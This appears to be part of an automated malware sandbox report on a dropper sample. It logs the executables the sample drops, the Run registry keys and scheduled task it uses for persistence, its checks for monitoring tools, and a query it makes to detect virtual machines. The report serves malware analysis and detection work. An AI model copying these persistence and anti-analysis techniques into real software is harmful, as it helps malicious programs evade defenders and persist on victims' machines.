Source: file.exe	Static PE information: section name: entropy: 7.965337240899708
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name: entropy: 7.711704641489236
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: entropy: 7.9781027784871075
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: jqddeztg entropy: 7.952904890450544
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.9781027784871075
Source: skotes.exe.4.dr	Static PE information: section name: jqddeztg entropy: 7.952904890450544
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.965337240899708
Source: 58ce8f976c.exe.8.dr	Static PE information: section name: entropy: 7.965337240899708
Source: random[1].exe0.8.dr	Static PE information: section name: xpxnzipx entropy: 7.952407047426657
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: xpxnzipx entropy: 7.952407047426657
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name: entropy: 7.711704641489236
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: entropy: 7.9781027784871075
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: jqddeztg entropy: 7.952904890450544
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name: entropy: 7.711704641489236
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: entropy: 7.9781027784871075
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: jqddeztg entropy: 7.952904890450544

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File created: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File created: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File created: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File created: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7451ae0b11.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 760934cb92.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 58ce8f976c.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 58ce8f976c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 58ce8f976c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7451ae0b11.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7451ae0b11.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 760934cb92.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 760934cb92.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
